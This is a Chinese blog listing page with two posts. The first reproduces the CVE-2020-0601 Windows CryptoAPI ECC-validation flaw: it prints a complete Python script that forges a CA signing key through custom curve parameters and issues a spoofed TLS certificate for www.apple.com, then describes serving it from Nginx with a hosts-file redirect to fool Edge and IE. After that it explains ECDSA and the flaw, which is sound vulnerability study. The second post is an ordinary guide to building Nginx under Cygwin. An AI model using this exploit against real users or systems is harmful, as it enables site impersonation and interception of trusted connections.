首页
关于道锋
友情链接
公告栏
麟图图床
麟云文件
麟云证书
BH5UVN
Search
1
使用ReDroid打造自己的云手机
6,170 阅读
2
Cloudflare SAAS 接入自选教程
3,075 阅读
3
CloudFront CDN配置教程
2,685 阅读
4
Frpc使用XTCP不通过服务器传输
2,382 阅读
5
兽装曲腿制作文档
2,299 阅读
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
登录
Search
标签搜索
开源
源码
教程
服务器
环境搭建
摄影
rustlang
Rust
VS CODE
v2ray
bbr
加速
网络优化
拥塞控制
CloudFront教程
CF教程
AWS教程
CloudFront接入
Frpc
Frps
道锋潜鳞
累计撰写
450
篇文章
累计收到
135
条评论
首页
栏目
默认
科学
热力学
Furry
小说
星河野望
手工制作
道具制作
音影
图像工具
计算机
渗透
硬件
编程
网络
记录
AI人工智能
CVE
软件工具
装机教程
C/C++
C#
Go
HTML5+JS+CSS
JAVA
Lua
Rust
PHP
Python2/3
Nodejs
编译
C/C++学习日志
Golang学习日志
Rust开发技巧
Rust学习日志
Rust开发教程
Nonebot2机器人框架
python开发教程
python开发技巧
Python学习日志
ai绘画
电子电路
电路设计
PCB打板
制作实战
无线电
摄影
运维
WEB
KVM云计算
docker
Ansible
代码管理
Kubernetes
Linux
MySQL
shell
集群
Zabbix
Prometheus
数据安全
Redis
istio
ELK
Nginx
Apache
Tomcat
Elasticsearch
Logstash
Kibana
测评
服务器
页面
关于道锋
友情链接
公告栏
友人
iMin博客
特资啦!个人资源分享站
三石的记录
咬一口激动的鱼
中二病晚期の物語
奇梦博客
布丁の小窝
道麟笔记
迷失的小K
koto's Site
西西のBlog
锐冰龙小站
Nick的琐碎日常
渣渣120
猎空のBlog“
Suntの小破站
BG5VXJ-无线电
Abyss博客
祈杰のblog
麟图图床
麟云文件
麟云证书
BH5UVN
搜索到
50
篇与
的结果
2020-04-02
CVE-2020-0601漏洞复现与分析
第一步:生成https证书基于GitHub原作者的python脚本我修改了一些证书信息,运行下面这个python脚本将生成 www.apple.com.cn和 www.apple.com 域名的https证书。#!/usr/bin/env python3 import datetime import hashlib import os import subprocess import sys from typing import BinaryIO, Iterable, Optional, Sequence, Tuple import ecdsa.curves import ecdsa.ellipticcurve import ecdsa.numbertheory import ecdsa.util from asn1crypto import core, keys, pem, x509 def load_certificate_chain(filename: str) -> Iterable[x509.Certificate]: with open( os.path.join(os.path.dirname(os.path.abspath(__file__)), filename), "rb" ) as f: pem_bytes = f.read() for object_type, _, der_bytes in pem.unarmor(pem_bytes, multiple=True): if object_type != "CERTIFICATE": continue yield x509.Certificate.load(der_bytes) def generate_ec_private_key(name: str) -> keys.ECPrivateKey: der_bytes = subprocess.check_output( ( "openssl", "ecparam", "-name", name, "-param_enc", "explicit", "-genkey", "-noout", "-outform", "DER", ) ) return keys.ECPrivateKey.load(der_bytes) def get_exploit_generator( k: int, Qx: int, Qy: int, curve: ecdsa.curves.Curve ) -> Tuple[int, int]: k_inverse = ecdsa.numbertheory.inverse_mod(k, curve.order) Q = ecdsa.ellipticcurve.Point(curve.curve, Qx, Qy, curve.order) G = Q * k_inverse return (G.x(), G.y()) def curve_from_ec_parameters(parameters: keys.SpecifiedECDomain) -> ecdsa.curves.Curve: p = parameters["field_id"]["parameters"].native a = parameters["curve"]["a"].cast(core.IntegerOctetString).native b = parameters["curve"]["b"].cast(core.IntegerOctetString).native Gx, Gy = parameters["base"].to_coords() order = parameters["order"].native curve_fp = ecdsa.ellipticcurve.CurveFp(p, a, b) G = ecdsa.ellipticcurve.Point(curve_fp, Gx, Gy, order) return ecdsa.curves.Curve(None, curve_fp, G, (0, 0)) def digest_certificate(certificate: x509.Certificate) -> bytes: der_bytes = certificate["tbs_certificate"].dump() return hashlib.new(certificate.hash_algo, der_bytes).digest() def sign_certificate( signing_key: ecdsa.keys.SigningKey, certificate: x509.Certificate ) -> None: digest = digest_certificate(certificate) signature_bytes = signing_key.sign_digest( digest, sigencode=ecdsa.util.sigencode_der ) certificate["signature_value"] = signature_bytes def exploit_certificate( certificate: x509.Certificate, ) -> Tuple[ecdsa.keys.SigningKey, keys.ECPrivateKey]: curve_name = certificate.public_key["algorithm"]["parameters"].chosen.native ec_private_key = generate_ec_private_key(curve_name) k = ec_private_key["private_key"].native parameters = ec_private_key["parameters"].chosen nist_curve = curve_from_ec_parameters(parameters) Qx, Qy = certificate.public_key["public_key"].to_coords() Gx, Gy = get_exploit_generator(k, Qx, Qy, nist_curve) parameters["base"] = keys.ECPoint.from_coords(Gx, Gy) ec_private_key["parameters"] = parameters ec_private_key["public_key"] = certificate.public_key["public_key"] certificate.public_key["algorithm"]["parameters"] = parameters exploit_curve = curve_from_ec_parameters(parameters) signing_key = ecdsa.keys.SigningKey.from_secret_exponent(k, curve=exploit_curve) signed_digest_algorithm = x509.SignedDigestAlgorithm({"algorithm": "sha256_ecdsa"}) certificate["tbs_certificate"]["signature"] = signed_digest_algorithm certificate["signature_algorithm"] = signed_digest_algorithm sign_certificate(signing_key, certificate) return (signing_key, ec_private_key) def write_pem(f: BinaryIO, value: core.Asn1Value, object_type: str) -> None: print("Writing {} to {!r}".format(object_type, f.name), file=sys.stderr) der_bytes = value.dump() pem_bytes = pem.armor(object_type, der_bytes) f.write(pem_bytes) def generate_private_key( algorithm: str, ) -> Tuple[keys.PrivateKeyInfo, keys.PublicKeyInfo]: pem_bytes = subprocess.check_output( ( "openssl", "req", "-pubkey", "-noout", "-newkey", algorithm, "-keyout", "-", "-nodes", "-batch", "-outform", "PEM", ) ) pem_iter = pem.unarmor(pem_bytes, multiple=True) object_type, _, der_bytes = next(pem_iter) assert object_type == "PRIVATE KEY" private_key = keys.PrivateKeyInfo.load(der_bytes) object_type, _, der_bytes = next(pem_iter) assert object_type == "PUBLIC KEY" public_key = keys.PublicKeyInfo.load(der_bytes) return private_key, public_key def random_serial_number() -> int: return int.from_bytes(os.urandom(20), "big") >> 1 def write_tls_certificate( ca_cert: x509.Certificate, ca_cert_orig: x509.Certificate, signing_key: ecdsa.keys.SigningKey, name: str, subject: x509.Name, subject_alt_names: Sequence[str], ) -> None: private_key, public_key = generate_private_key("rsa:4096") signed_digest_algorithm = x509.SignedDigestAlgorithm({"algorithm": "sha256_ecdsa"}) certificate = x509.Certificate( { "tbs_certificate": { "version": "v3", "serial_number": random_serial_number(), "signature": signed_digest_algorithm, "issuer": ca_cert_orig.subject, "validity": { "not_before": x509.UTCTime( datetime.datetime(2019, 10, 24, tzinfo=datetime.timezone.utc) ), "not_after": x509.UTCTime( datetime.datetime(2020, 10, 23, tzinfo=datetime.timezone.utc) ), }, "subject": subject, "subject_public_key_info": public_key, "extensions": [ { "extn_id": "basic_constraints", "critical": True, "extn_value": {"ca": False}, }, { "extn_id": "subject_alt_name", "critical": False, "extn_value": [ x509.GeneralName({"dns_name": dns_name}) for dns_name in subject_alt_names ], }, { "extn_id": "certificate_policies", "critical": False, "extn_value": [ {"policy_identifier": "1.3.6.1.4.1.6449.1.2.1.5.1"}, ], }, ], }, "signature_algorithm": signed_digest_algorithm, } ) sign_certificate(signing_key, certificate) with open(name + ".crt", "wb") as f: write_pem(f, certificate, "CERTIFICATE") write_pem(f, ca_cert_orig, "CERTIFICATE") write_pem(f, ca_cert, "CERTIFICATE") with open(name + ".key", "wb") as f: write_pem(f, private_key, "PRIVATE KEY") write_pem(f, certificate, "CERTIFICATE") write_pem(f, ca_cert_orig, "CERTIFICATE") write_pem(f, ca_cert, "CERTIFICATE") def get_name(purpose: Optional[str] = None) -> str: components = ["www.apple.com", "aaaa"] if purpose: components.insert(1, purpose) return " ".join(components) def main() -> None: _, ca_cert, _ = load_certificate_chain( "comodoecccertificationauthority-ev-comodoca-com-chain.pem" ) ca_cert_orig = ca_cert.copy() signing_key, ec_private_key = exploit_certificate(ca_cert) with open("intermediateCA.crt", "wb") as f: write_pem(f, ca_cert_orig, "CERTIFICATE") write_pem(f, ca_cert, "CERTIFICATE") with open("intermediateCA.key", "wb") as f: write_pem(f, ec_private_key, "EC PRIVATE KEY") write_tls_certificate( ca_cert, ca_cert_orig, signing_key, "www.apple.com", x509.Name.build( { "incorporation_country": "US", "business_category": "California", "serial_number": "C0805582", "country_name": "US", "common_name": "www.apple.com", "organization_name": "Apple Inc.", "organizational_unit_name": "Internet Services for Akamai", } ), ("www.apple.com.cn", "www.apple.com"), ) if __name__ == "__main__": main()第二步:部署https网站将生成的https证书(www.apple.com.crt)和私钥文件(www.apple.com.key)部署到Nginx上,并启动Nginx。第三步:修改hosts文件在hosts文件中添加 www.apple.com 域名的解析记录,将 www.apple.com 解析到本地服务器。第四步:访问www.apple.com网站Edge浏览器访问假网站:IE浏览器访问假网站不过,火狐大法就不管用了0x02 椭圆曲线数字签名算法(ECDSA)在2009年修订的FIPS 186加入了基于椭圆曲线密码的数字签名方法,称其为椭圆曲线数字签名算法(ECDSA)。由于椭圆曲线密码效率方面的优势,ECDSA的应用越来越广泛。ECDSA算法过程如下:参与数字签名的所有方都使用相同的全局域参数,用于定义椭圆曲线以及曲线上的基点。签名者首先需要生成一对公钥、私钥。签名者可以选择一个随机数作为私钥,使用随机数和基点,可以计算椭圆曲线上的另一个解点,作为公钥。对于待签名的消息计算其Hash值。签名者使用私钥、全局域参数、Hash值产生签名,包括两个整数r和s。验证者使用签名者的公钥、全局域参数、整数s作为输入,计算v,并与r比较。如果两者相等,则签名通过。0x03 漏洞原理通常,签名者产生一对公私钥后,要去证书中心(certificate authority,简称CA),为公钥做认证,以此来证明签名者本身身份。证书中心用自己的私钥,对签名者的公钥和一些相关信息一起做签名,生成数字证书(Digital Certificate)。由补丁分析部分可知,微软在对数字签名做合法校验时,支持椭圆曲线参数的自定义输入,又只对公钥信息做校验,存在严重缺陷。攻击者可以传入自定义的全局域参数、签名信息s,只需要公钥信息与系统ECC根证书Microsoft ECC Product Root Certificate Authority 2018的公钥保持一致,就可以绕过校验逻辑,让数字签名信息看起来就是ECC根证书签发的一样。而这,是很容易做到的。假设ECC根证书的私钥是d(对攻击者未知),基点是G,公钥是Q=dG。攻击者可以选择跟ECC根证书一样的椭圆曲线,只需d’=1(单位元),G‘=Q,则Q‘=d’G’=Q,从而完成攻击。
2020年04月02日
85 阅读
0 评论
0 点赞
2020-03-12
Nginx使用cygwin在Windows下编译和安装
Nginx介绍:nginx("engine x") 是一个高性能的 HTTP 和反向代理 服务器,也是一个 IMAP/POP3/SMTP 代理服务器。 Nginx 是由 Igor Sysoev 为俄罗斯访问量第二的 Rambler.ru 站点开发的,它已经在该站点运行超过两年半了。Igor 将源代码以类BSD许可证的形式发布。尽管还是测试版,但是,Nginx 已经因为它的稳定性、丰富的功能集、示例配置文件和低系统资源的消耗而闻名了。1.cygwin环境安装到http://www.cygwin.com/下载setup.exe安装程序,具体安装过程请到google找吧。这里需要注意的是:一定要安装上openssl、pcre与zlib这三个包,因为nginx部分源码需要用到这三个库。2.nginx编译与构建下载源代码包并打开cygwin环境,进入到源码存放地址,解压源码包gzip -d nginx-1.4.3.tar.gz得到nginx-1.4.3.tartar xvf nginx-1.4.3.tar得到新目录nginx-1.4.3cd进去,然后执行./configure --prefix=./nginx可以得到Makefile文件与objs子目录下的多个文件;再执行make命令,这时cd进 去objs子目录,然后ls一下,看到有nginx.exe文件,这就是编译构建后生成的nginx程序,接下来就可以安装导出了。3.安装在环境下cd到源码主目录,执行make install这样就可以把可执行导出到和主目录同级的nginx目录里了,这个目录是刚才执行编译configure时指定的(--prefix= ./nginx)4.运行在环境下cd到nginx/sbin目录,运行nginx.exe正常来说,控制台会回显一条错误信息运行错误: [emerg] 2496#0: the maximum number of files supported by select() is 64这表示FD_SETSIZE的值比nginx配置文件中worker_connections指令所指定的值小,那么怎么解决这个问题呢?第一种解决方法:把ngx_select_module事件处理模块去掉,通过在执行configure时指定参数—without-select_module。第二种解决方法:修改nginx的配置文件(conf/nginx.conf),把这个文件第13行的1024改为64(worker_connections指令的值)。第三种解决方法:在执行configure时指定额外的编译选项(--with-cc-opt=”-D FD_SETSIZE=2048”),这同样也可以解决上面的问题。后记:利用上面方法生成的nginx程序,需要依赖cygwin环境才能运行,那么有什么方法可以不用cygwin环境也能让nginx在Windows下独立运行呢?当前我想到的有两种方法:第1种:首先改变执行configure时指定的—prefix=/cygdrive/c/nginx参数为—prefix=.,同时还加上—sbin-path=nginx这个参数,也就是make install时把nginx安装到c:\nginx-\目录下,nginx运行时从当前目录的conf子目录读取配置、写日志到logs子目录。接下来执行configure、make与make install。然后把nginx运行时所需要用到的DLL找出来,我发现有这几个:cygcrypt-0.dll、cygpcre-0.dll、cygwin1.dll和cygz.dll(这些文件都在cygwin安装目录的bin子目录下);如果启用ssl的话,应该还需要cygssl-.dll和cygcrypto-0.9.8.dll,这个我没有实践过,大家可以试试。接下来把cygcrypt-0.dll、cygpcre-0.dll、cygwin1.dll和cygz.dll拷贝到安装主目录下,同时在该目录下创建logs子目录。最后就可以直接双击nginx.exe来运行nginx了。这时打开浏览器,输入地址:http://127.0.0.1/,如果能看到有“Welcome to nginx!”显示出来就表示nginx已经在运行,如果没有的话就打开logs子目录下的error.log文件,看看到底发生了什么错误。第2种:编译时指定-mno-cygwin选项,这可以生成不需要其它DLL的nginx.exe文件,不过我还没试成功,具体原因也还没找到,如果你试成功了要告诉我一声哟!这两种方法都有一个缺点:虽然nginx已经能独立运行了,但要关闭它,还需要打开cygwin环境,然后ps找到nginx主进程的进程ID,kill掉它;当然也可以用任务管理器强制关闭。不过据我了解在cygwin环境下可以把一个程序编译成Windows服务的,具体怎么做的话要再找找咯!
2020年03月12日
129 阅读
0 评论
0 点赞
1
...
4
5